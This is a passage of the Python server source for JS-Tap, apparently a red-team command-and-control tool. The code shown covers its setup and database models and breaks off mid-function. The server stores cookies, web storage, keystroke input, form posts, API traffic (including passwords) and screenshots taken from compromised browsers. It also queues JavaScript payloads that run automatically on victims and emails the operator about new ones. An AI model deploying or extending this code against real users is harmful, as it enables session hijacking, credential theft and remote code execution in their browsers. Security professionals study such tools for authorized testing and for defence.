forked from hoodoer/JS-Tap
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathjsTapServer.py
2731 lines (1827 loc) · 78.2 KB
/
jsTapServer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!usr/bin/env python
from flask import Flask, jsonify, abort, make_response, g, request, render_template, redirect, url_for, send_from_directory
from werkzeug.serving import WSGIRequestHandler
from werkzeug.middleware.proxy_fix import ProxyFix
from flask_cors import CORS
from markupsafe import Markup, escape
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy import DateTime, func, event, create_engine, orm, Column, Integer, String, DateTime, Text, Boolean, update
from sqlalchemy_utils import database_exists
from sqlalchemy.engine import Engine
from sqlalchemy.orm import scoped_session, sessionmaker, declarative_base
from flask_login import LoginManager, login_user, logout_user, UserMixin, login_required, current_user
from flask_bcrypt import Bcrypt
from filelock import FileLock, Timeout
from enum import Enum
from user_agents import parse
from email.mime.text import MIMEText
from flask_executor import Executor
from apscheduler.schedulers.background import BackgroundScheduler
import magic
import json
import uuid
import os
import time
import datetime
import threading
import string
import random
import shutil
import logging
import smtplib
# *********************************************************************
def printHeader():
print("""
▐▄▄▄.▄▄ ·
.* ./, ·██▐█ ▀.
, ,,, ▪▄ ██▄▀▀▀█▄
* .,.* ▐▌▐█▌▐█▄▪▐█
,* ,. *. ▀▀▀• ▀▀▀▀ .(/,#/
* * *, .,,. ,#%&&&&#
./ ,, /. ./#%%&&&&&&&&&&&&%#((//, ,#%%#/*
*, .* .(, ,/#%%&&&&&&&&&&&&&#, , ,.
#, *. ,( .*#%&&&&&&&&&&&%#* *
,# ., /, ./(#( ,*#%%&&&&&&&&(. ,.
,/ .* ,/ *%%#(%%%%( .*(%%%%%&#(,
./*. ../(,,*******/,/. ,%/////. .(* ,%%%%/ */ ...,%%%%/.
*. *// ,# *. /, .***,(.,/ , ,(###*
,,.*,,*/(##((/*/***/// (*....,(. *, .*/(%%%(,(*..*. .*/.
#, .,, /* */..(*, ,, .,/(/,(%%&&&&&&&&%%%/.
** /. ,/ ,,*, ,, ,//, */%%%%%&&&&&&%%%#*
.( */ .* .*,, , .***,. *(/%%%%%((#%%%%%%%%#*
/ .(,** *.*,. ., *%((%%&%&(#&%&#%%&%%%%(,
*/ /(/, .*.(. ,*, .#%%//%%%&(%&&&(%&&&&&&&&%*
(, *%/. ,.**... ,..(%%(, .(%%%#*#%&#(&&%#/&&&&&&&&&&%#
./ ,(, ** .. *,,/**%%&&&%%%#/,,.. *#%%%%* *%#*%&&%((&&&&&&&&&&&&
,/.*, *%(. . , .*#%%%%%%%&&&&/(/#%%%#, .##%&&&%/%&&&&&&&&&&&&
.((/,.... ,/##%%%%&&%&%%(. *%&&&%/%&&&&&&&&&&&&&
▄▄▄▄▄ ▄▄▄· ▄▄▄·
•██ ▐█ ▀█ ▐█ ▄█
▐█.▪▄█▀▀█ ██▀·
▐█▌·▐█ ▪▐▌▐█▪·•
▀▀▀ ▀ ▀ .▀
𝚋𝚢 @𝚑𝚘𝚘𝚍𝚘𝚎𝚛
𝚑𝚘𝚘𝚍𝚘𝚎𝚛@𝚋𝚒𝚝𝚠𝚒𝚜𝚎𝚖𝚞𝚗𝚒𝚝𝚒𝚘𝚗𝚜.𝚍𝚎𝚟
""")
#***************************************************************************
# Configuration
# Proxy mode
# Handy for running nginx proxy in front
# of JS-Tap server to handle SSL certs.
# If set to True
# JS-Tap will run http and rely on nginx
# Note that nginx needs to set an X-Forwarded-For
# header or JS-Tap won't know the IP address of the cliet
# -----
# If set to False JS-Tap will use a
# self signed cert
proxyMode = False
# overwrite based on value in gunicorn startup script
envProxyMode = os.environ.get('PROXYMODE')
if envProxyMode:
proxyMode = True
elif not envProxyMode:
proxyMode = False
# Data Directory
# File path to folder where loot directory
# and SQLite database are saved
# Data Directory should have the trailing '/' added
dataDirectory = "./"
# overwrite based on value in gunicorn startup script
envDataDir = os.environ.get('DATADIRECTORY')
if envDataDir is not None:
dataDirectory = envDataDir
#***************************************************************************
# Initialization stuff
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
fh = logging.FileHandler('./logs.txt')
fh.setLevel(logging.INFO)
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
fh.setFormatter(formatter)
logger.addHandler(fh)
app = Flask(__name__)
backgroundExecutor = Executor(app)
CORS(app)
baseDir = os.path.abspath(os.path.dirname(__file__))
# This variable will be set if started from gunicorn script
secretKey = os.environ.get('SESSIONKEY')
if secretKey is not None:
app.config['SECRET_KEY'] = secretKey
else:
app.config['SECRET_KEY'] = ''.join(random.choices(string.ascii_uppercase + string.ascii_lowercase + string.digits, k=45))
login_manager = LoginManager()
login_manager.login_view = 'login'
login_manager.init_app(app)
bcrypt = Bcrypt(app)
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SAMESITE'] = 'Strict'
# Scoped Session Database setup
database_uri = 'sqlite:///' + os.path.abspath(dataDirectory + 'jsTap.db')
engine = create_engine(database_uri, connect_args={"check_same_thread": False})
db_session = scoped_session(sessionmaker(autocommit=False, autoflush=False, bind=engine))
Base = declarative_base()
Base.query = db_session.query_property()
@app.teardown_request
def remove_scoped_session(exception=None):
db_session.remove()
#***************************************************************************
# Needed to generate human readable nicknames
AdjectiveList = {
"funky",
"smelly",
"skunky",
"merry",
"whimsical",
"amusing",
"hysterical",
"bumfuzzled",
"bodacious",
"absurd",
"animated",
"brazen",
"cheesy",
"clownish",
"confident",
"crazy",
"cuckoo",
"deranged",
"ludicrous",
"playful",
"quirky",
"screwball",
"slapstick",
"wacky",
"excited",
"humorous",
"charming",
"confident",
"fanatical"
}
ColorList = {
"blue",
"red",
"green",
"white",
"black",
"brown",
"azure",
"pink",
"yellow",
"silver",
"purple",
"orange",
"grey",
"fuchsia",
"crimson",
"lime",
"plum",
"olive",
"cyan",
"ivory",
"magenta"
}
MurderCritter = {
"kangaroo",
"koala",
"dropbear",
"wombat",
"wallaby",
"dingo",
"emu",
"tassiedevil",
"platypus",
"salty",
"kookaburra",
"boxjelly",
"blueringoctopus",
"taipan",
"stonefish",
"redback",
"cassowary",
"funnelwebspider",
"conesnail",
"quokka",
"echidna",
"dugong",
"sugarglider",
"blackswan"
}
#***************************************************************************
# Database classes
class Client(Base):
__tablename__ = 'clients'
id = Column(Integer, primary_key=True)
nickname = Column(String(100), unique=True, nullable=False)
tag = Column(String(40), unique=False, nullable=True)
uuid = Column(String(40), unique=True, nullable=False)
fingerprint = Column(String(20), nullable=True)
sessionValid = Column(Boolean, nullable=False, default=True)
notes = Column(Text, nullable=True)
firstSeen = Column(DateTime(timezone=True),server_default=func.now())
lastSeen = Column(DateTime(timezone=True), server_default=func.now())
ipAddress = Column(String(20), nullable=True)
platform = Column(String(100), nullable=True)
browser = Column(String(100), nullable=True)
isStarred = Column(Boolean, nullable=False, default=False)
hasJobs = Column(Boolean, nullable=False, default=False)
imageCounter = Column(Integer, server_default='1')
htmlCodeCounter = Column(Integer, server_default='1')
def update(self):
# logger.info("$$ Client Update func")
self.lastSeen = func.now()
def __repr__(self):
return f'<Client {self.id}>'
# Keep screenshots as files on disk, just track the filename
class Screenshot(Base):
__tablename__ = 'screenshots'
id = Column(Integer, primary_key=True)
clientID = Column(String(100), nullable=False)
timeStamp = Column(DateTime(timezone=True), server_default=func.now())
fileName = Column(String(100), nullable=False)
def __repr__(self):
return f'<Screenshot {self.id}>'
class HtmlCode(Base):
__tablename__ = 'htmlcode'
id = Column(Integer, primary_key=True)
clientID = Column(String(100), nullable=False)
url = Column(Text, nullable=False)
timeStamp = Column(DateTime(timezone=True), server_default=func.now())
fileName = Column(String(100), nullable=False)
def __repr__(self):
return f'<HtmlCode {self.id}>'
class UrlVisited(Base):
__tablename__ = 'urlsvisited'
id = Column(Integer, primary_key=True)
clientID = Column(String(100), nullable=False)
url = Column(Text, nullable=False)
timeStamp = Column(DateTime(timezone=True), server_default=func.now())
def __repr__(self):
return f'<UrlVisited {self.id}>'
class UserInput(Base):
__tablename__ = 'userinput'
id = Column(Integer, primary_key=True)
clientID = Column(String(100), nullable=False)
inputName = Column(String(100), nullable=False)
inputValue = Column(Text, nullable=False)
timeStamp = Column(DateTime(timezone=True), server_default=func.now())
def __repr__(self):
return f'<UserInput {self.id}>'
class Cookie(Base):
__tablename__ = 'cookies'
id = Column(Integer, primary_key=True)
clientID = Column(String(100), nullable=False)
cookieName = Column(Text, nullable=False)
cookieValue = Column(Text, nullable=False)
timeStamp = Column(DateTime(timezone=True), server_default=func.now())
def __repr__(self):
return f'<Cookie {self.id}>'
class LocalStorage(Base):
__tablename__ = 'localstorage'
id = Column(Integer, primary_key=True)
clientID = Column(String(100), nullable=False)
key = Column(Text, nullable=False)
value = Column(Text, nullable=False)
timeStamp = Column(DateTime(timezone=True), server_default=func.now())
def __repr__(self):
return f'<LocalStorage {self.id}>'
class SessionStorage(Base):
__tablename__ = 'sessionstorage'
id = Column(Integer, primary_key=True)
clientID = Column(String(100), nullable=False)
key = Column(Text, nullable=False)
value = Column(Text, nullable=False)
timeStamp = Column(DateTime(timezone=True), server_default=func.now())
def __repr__(self):
return f'<SessionStorage {self.id}>'
class XhrApiCall(Base):
__tablename__ = 'xhrapicall'
id = Column(Integer, primary_key=True)
clientID = Column(String(100), nullable=False)
method = Column(String(100), nullable=False)
url = Column(Text, nullable=False)
asyncRequest = Column(Boolean, default=True)
user = Column(String(100), nullable=True)
password = Column(String(100), nullable=True)
requestBody = Column(Text, nullable=True)
responseBody = Column(Text, nullable=True)
responseStatus = Column(Integer, nullable=True)
timeStamp = Column(DateTime(timezone=True), server_default=func.now())
def __repr__(self):
return f'<XhrApiCall {self.id}>'
class XhrHeader(Base):
__tablename__ = 'xhrheader'
id = Column(Integer, primary_key=True)
apiCallID = Column(Integer, nullable=False)
clientID = Column(String(100), nullable=False)
header = Column(Text, nullable=False)
value = Column(Text, nullable=False)
timeStamp = Column(DateTime(timezone=True), server_default=func.now())
def __repr__(self):
return f'<XhrHeader {self.id}>'
class FetchApiCall(Base):
__tablename__ = 'fetchapicall'
id = Column(Integer, primary_key=True)
clientID = Column(String(100), nullable=False)
method = Column(String(100), nullable=False)
url = Column(Text, nullable=False)
requestBody = Column(Text, nullable=True)
responseBody = Column(Text, nullable=True)
responseStatus = Column(Integer, nullable=True)
timeStamp = Column(DateTime(timezone=True), server_default=func.now())
def __repr__(self):
return f'<FetchApiCall {self.id}>'
class FetchHeader(Base):
__tablename__ = 'fetchheader'
id = Column(Integer, primary_key=True)
apiCallID = Column(Integer, nullable=False)
clientID = Column(String(100), nullable=False)
header = Column(Text, nullable=False)
value = Column(Text, nullable=False)
timeStamp = Column(DateTime(timezone=True), server_default=func.now())
def __repr__(self):
return f'<FetchHeader {self.id}>'
class FormPost(Base):
__tablename__ = 'formpost'
id = Column(Integer, primary_key=True)
clientID = Column(String(100), nullable=False)
formName = Column(Text, nullable=True)
formAction = Column(String(100), nullable=False)
formMethod = Column(String(12), nullable=False)
formEncType = Column(String(100), nullable=True)
formData = Column(Text, nullable=True)
url = Column(Text, nullable=False)
timeStamp = Column(DateTime(timezone=True), server_default=func.now())
def __repr__(self):
return f'<FormPost {self.id}>'
class CustomExfil(Base):
__tablename__ = 'customexfil'
id = Column(Integer, primary_key=True)
note = Column(Text, nullable=True)
data = Column(Text, nullable=True)
timeStamp = Column(DateTime(timezone=True), server_default=func.now())
def __repr__(self):
return f'<CustomExfil {self.id}>'
class Event(Base):
__tablename__ = 'events'
id = Column(Integer, primary_key=True)
clientID = Column(String(100), nullable=False)
timeStamp = Column(DateTime(timezone=True))
eventType = Column(String(100), nullable=False)
eventID = Column(Integer, nullable=False)
def __repr__(self):
return f'<Event {self.id}>'
# Application settings
class AppSettings(Base):
__tablename__ = 'appsettings'
id = Column(Integer, primary_key=True)
allowNewSessions = Column(Boolean, default=True)
clientRefreshRate = Column(Integer, default=5)
showFingerprint = Column(Boolean, nullable=False, default=False)
emailServer = Column(String(100), nullable=True)
emailUsername = Column(String(100), nullable=True)
emailPassword = Column(String(100), nullable=True)
emailEventType = Column(String(100), nullable=True)
emailDelay = Column(Integer, default=600)
emailEnable = Column(Boolean, nullable=False, default=False)
lastEmailSent = Column(DateTime(timezone=True), nullable=True)
emailContent = Column(Text, nullable=True)
def emailSent(self):
# logger.info("$$ Client Update func")
self.lastEmailSent = func.now()
def __repr__(self):
return f'<AppSettings {self.id}>'
# Notification Email contact list
class NotificationEmail(Base):
__tablename__ = 'notificationemails'
id = Column(Integer, primary_key=True)
emailAddress = Column(String(100), nullable=False)
def __repr__(self):
return f'<NotificationEmail {self.id}>'
class CustomPayload(Base):
__tablename__ = 'custompayloads'
id = Column(Integer, primary_key=True)
name = Column(String(100), nullable=False)
description = Column(Text, nullable=True)
code = Column(Text, nullable=False)
autorun = Column(Boolean, nullable=False, default=False)
repeatrun = Column(Boolean, nullable=False, default=False)
def __repr__(self):
return f'<CustomPayload {self.id}>'
class ClientPayloadJob(Base):
__tablename__ = 'clientpayloadjobs'
id = Column(Integer, primary_key=True)
clientKey = Column(Integer, nullable=False)
payloadKey = Column(Integer, nullable=False)
code = Column(Text, nullable=False)
repeatrun = Column(Boolean, nullable=False, default=False)
def __repr__(self):
return f'<ClientPayloadJob {self.id}>'
class BlockedIP(Base):
__tablename__ = 'blockedips'
id = Column(Integer, primary_key=True)
ip = Column(String(20), nullable=False)
def __repr__(self):
return f'<BlockedIP {self.id}>'
# User C2 UI session
class User(UserMixin, Base):
__tablename__ = 'user'
username = Column(String, primary_key=True)
password = Column(String, nullable=False)
authenticated = Column(Boolean, default=False)
def is_active(self):
# We don't need to deactivate user accounts, but
# this is a required method
return True
def get_id(self):
return self.username
def is_authenticated(self):
return self.authenticated
def is_anonymous(self):
# Another unused but required method
return False
#***************************************************************************
# Support Functions
# Need function to check session, return download directory
def findLootDirectory(identifier):
client = Client.query.with_entities(Client.id).filter_by(uuid=identifier).first()
lootDir = "client_" + str(client.id)
#logger.info("Loot directory is: " + lootDir)
return lootDir
def dbCommit():
# Well, there used to be more stuff here...
db_session.commit()
def scheduleRepeatTasks(client):
# Check for repeat run jobs
payloads = CustomPayload.query.filter_by(repeatrun=True)
# get client scheduled payload
clientPayloads = ClientPayloadJob.query.filter_by(clientKey=client.id)
for payload in payloads:
alreadyScheduled = False
for clientPayload in clientPayloads:
if clientPayload.payloadKey == payload.id:
# already scheduled!
alreadyScheduled = True
break
if not alreadyScheduled:
newJob = ClientPayloadJob(clientKey=client.id, payloadKey = payload.id, code=payload.code, repeatrun=True)
db_session.add(newJob)
# logger.info('********* Just added client update repeat job: ' + client.nickname + ', ' + str(payload.id))
dbCommit()
# For testing the SMTP TLS email configuration
def sendTestEmail():
appSettings = AppSettings.query.filter_by(id=1).first()
targetEmails = NotificationEmail.query.all()
fromEmail = appSettings.emailUsername
password = appSettings.emailPassword
toEmailList = [email.emailAddress for email in targetEmails]
message = MIMEText("This is a test email from JS-Tap notification service.")
message["Subject"] = "JS-Tap Notification: Test Email"
message["From"] = fromEmail
message["To"] = ",".join(toEmailList)
serverInfo = appSettings.emailServer
hostname, port = serverInfo.split(':')
port = int(port)
with smtplib.SMTP(hostname, port) as emailServer:
emailServer.ehlo()
emailServer.starttls()
emailServer.ehlo()
emailServer.login(fromEmail, password)
emailServer.sendmail(fromEmail, toEmailList, message.as_string())
return
# Send the actual notification email
def sendNotificationEmail():
emailLock.acquire(timeout=2)
appSettings = AppSettings.query.filter_by(id=1).first()
targetEmails = NotificationEmail.query.all()
fromEmail = appSettings.emailUsername
password = appSettings.emailPassword
toEmailList = [email.emailAddress for email in targetEmails]
if appSettings.emailContent:
message = MIMEText("JS-Tap Update:\n" + appSettings.emailContent)
message["Subject"] = "JS-Tap Update Notification"
message["From"] = fromEmail
message["To"] = ",".join(toEmailList)
serverInfo = appSettings.emailServer
hostname, port = serverInfo.split(':')
port = int(port)
logger.info("EMAIL: Sending notification email")
with smtplib.SMTP(hostname, port) as emailServer:
emailServer.ehlo()
emailServer.starttls()
emailServer.ehlo()
emailServer.login(fromEmail, password)
emailServer.sendmail(fromEmail, toEmailList, message.as_string())
# logger.info("Email Text is: " )
# logger.info(appSettings.emailContent)
appSettings.emailSent()
appSettings.emailContent = ""
dbCommit()
emailLock.release()
return
# Check our delay time to see if we should send a notification email or not
def emailNotificationCheck():
emailSettings = AppSettings.query.with_entities(AppSettings.lastEmailSent, AppSettings.emailDelay).filter_by(id=1).first()
if emailSettings[0] is not None:
# We've already sent an email in the past
# Make sure we're waiting the delay time before firing off another
now = datetime.datetime.utcnow()
timeDifference = now - emailSettings[0]
secondsPassed = timeDifference.total_seconds()
if secondsPassed >= emailSettings[1]:
sendNotificationEmail()
else:
# first go, no recorded email sent before, so go ahead and send one
sendNotificationEmail()
return
# Timed based notification check. The other email notification check
# is based on events, but if things go quiet some update data could
# be stuck in the database. This gets called regularly to see if
# we need to send out a notification email
def timedEmailNotificationCheck():
isEnabled = AppSettings.query.with_entities(AppSettings.emailEnable).filter_by(id=1).first()
if (isEnabled):
emailContent = AppSettings.query.with_entities(AppSettings.emailContent).filter_by(id=1).first()[0]
if emailContent:
emailNotificationCheck()
return
# Handle if we need to do new client notifivation email work
def newClientNotificationEmail(identifier):
isEnabled = AppSettings.query.with_entities(AppSettings.emailEnable).filter_by(id=1).first()
if (isEnabled[0]):
emailText = AppSettings.query.with_entities(AppSettings.emailContent).filter_by(id=1).first()[0] or ""
clientData = Client.query.with_entities(Client.nickname, Client.tag, Client.ipAddress).filter_by(uuid=identifier).first()
now = datetime.datetime.now()
timeStamp = now.strftime("%Y-%m-%d %H:%M:%S")
emailText += timeStamp + ": " + str(clientData[2]) + " - " + str(clientData[1]) + "/" + str(clientData[0]) + " - new client\n"
statement = (update(AppSettings).where(AppSettings.id == 1).values(emailContent=emailText))
db_session.execute(statement)
dbCommit()
# Check if it's time to send a notification email
emailNotificationCheck()
return
# Handle if we need to do event notification email work
def eventNotificationEmail(identifier):
emailSettings = AppSettings.query.with_entities(AppSettings.emailEnable, AppSettings.emailEventType).filter_by(id=1).first()
if (emailSettings[0]):
# Ok, email notifications are turned on, but do we want to update on events or just new clients?
if (str(emailSettings[1]) == 'newClientsAndEvents'):
# Yes, we want to know about events
emailText = AppSettings.query.with_entities(AppSettings.emailContent).filter_by(id=1).first()[0] or ""
clientData = Client.query.with_entities(Client.nickname, Client.tag, Client.ipAddress).filter_by(uuid=identifier).first()
now = datetime.datetime.now()
timeStamp = now.strftime("%Y-%m-%d %H:%M:%S")
emailText += timeStamp + ": " + str(clientData[2]) + " - " + str(clientData[1]) + "/" + str(clientData[0]) + " - event received\n"
statement = (update(AppSettings).where(AppSettings.id == 1).values(emailContent=emailText))
db_session.execute(statement)
dbCommit()
# Check if it's time to send a notification email
emailNotificationCheck()
return
# Updates "last seen" timestamp"
# Do not call db commit in here
def clientSeen(identifier, ip, userAgent):
# logger.info("!! Client seen: " + str(ip) + ', ' + userAgent)
# logger.info("*** Starting clientSeen Update!")
parsedUserAgent = parse(userAgent)
# logger.info("--Browser: " + parsedUserAgent.browser.family + " " + parsedUserAgent.browser.version_string)
# logger.info("--Platform: " + parsedUserAgent.os.family)
# DB commit is handled by caller to clientSeen() method, don't do it here
client = Client.query.filter_by(uuid=identifier).first()
client.ipAddress = ip
client.platform = parsedUserAgent.os.family
client.browser = parsedUserAgent.browser.family + " " + parsedUserAgent.browser.version_string
# update method touches the database lastseen timestamp
client.update()
# Check if we need to send a notification email
backgroundExecutor.submit(eventNotificationEmail, identifier)
# See if we have any scheduling work to do here
scheduleRepeatTasks(client)
# Check if the UUID sent by client is valid
# and hasn't had it's session invalidated
def isClientSessionValid(identifier):
client = Client.query.filter_by(uuid=identifier).first()
if client:
# Ok, valid client UUID. Check if session is still good
if (client.sessionValid):
return True
else:
return False
else:
# client UUID not in database, shenanigans I say
return False
# Needed by flask-login
@login_manager.user_loader
def user_loader(username):
return User.query.filter_by(username=username).first()
# Need an admin account
def addAdminUser():
currentAdmin = User.query.filter_by(username='admin').first()
# We won the multithread race, create the admin user
if currentAdmin is None:
passwordLength = 45
randomPassword = ''.join(random.choices(string.ascii_uppercase + string.ascii_lowercase
+ string.digits, k=passwordLength))
logger.info("*******************************")
logger.info("WebApp admin creds:")
logger.info("admin : " + randomPassword)
logger.info("*******************************")
adminUser = User(username='admin', password=bcrypt.generate_password_hash(randomPassword))
db_session.add(adminUser)
dbCommit()
with open('./adminCreds.txt', 'w') as credFile:
credFile.write('admin:' + randomPassword + '\n')
credFile.close()
else:
# already have an admin!
logger.info("Skipping admin add, already have one!")
# Initialize app defaults
def initApplicationDefaults():
appSettings = AppSettings(allowNewSessions=True, clientRefreshRate=5, emailDelay=600, emailEnable=False, emailEventType='newClients')
db_session.add(appSettings)
dbCommit()
# Generate a client nickname
# If a client already has the nickname, append a number to
# the end so they're unique
def generateNickname():
randomAdjective = random.choice(list(AdjectiveList))
randomColor = random.choice(list(ColorList))
randomCritter = random.choice(list(MurderCritter))
newNickname = randomAdjective + '-' + randomColor + '-' + randomCritter
counter = 0
while Client.query.filter_by(nickname=newNickname).count():
baseNickname = newNickname.replace('-'+ str(counter), '')
# logger.info("Base nickname created: " + baseNickname)
counter += 1
newNickname = baseNickname + '-' + str(counter)
# logger.info("Still looping for name, counter: " + str(counter))
# logger.info("Current newNickname: " + newNickname)
return newNickname
#***************************************************************************
# Database startup
# Moved from main:
# Check for existing database file
# Make sure only one process runs this
startupLock = FileLock("./init.lock")
emailLock = FileLock("./email.lock")
lockAcquired = False
try:
startupLock.acquire(timeout=2)
lockAcquired = True
printHeader()
if database_exists('sqlite:///' + os.path.abspath(dataDirectory + 'jsTap.db')):
with app.app_context():
logger.info("!! SQLite database already exists:")
clients = Client.query.all()
numClients = len(clients)
users = User.query.all()
numUsers = len(users)
logger.info("Existing database has " + str(numClients) + " clients and "
+ str(numUsers) + " users.")
# Generate a new admin user
logger.info("Creating tables!")
User.__table__.drop(engine)
Base.metadata.create_all(engine)
dbCommit()
addAdminUser()
# If we're being run from the gunicorn start script this will be set by that
clientSaveSetting = os.environ.get('CLIENTDATA')
if numClients != 0:
val = ""
# See if we're started from gunicorn startup script
if clientSaveSetting is not None:
if clientSaveSetting == 'KEEP':
val = 1
elif clientSaveSetting == 'DELETE':
val = 2
else:
# apparently running developer mode directly
print("Make selection on how to handle existing clients:")
print("1 - Keep existing client data")
print("2 - Delete all client data and start fresh")
val = int(input("\nSelection: "))
if val == 2:
logger.info("Clearing client data")
Client.__table__.drop(engine)
Screenshot.__table__.drop(engine)
HtmlCode.__table__.drop(engine)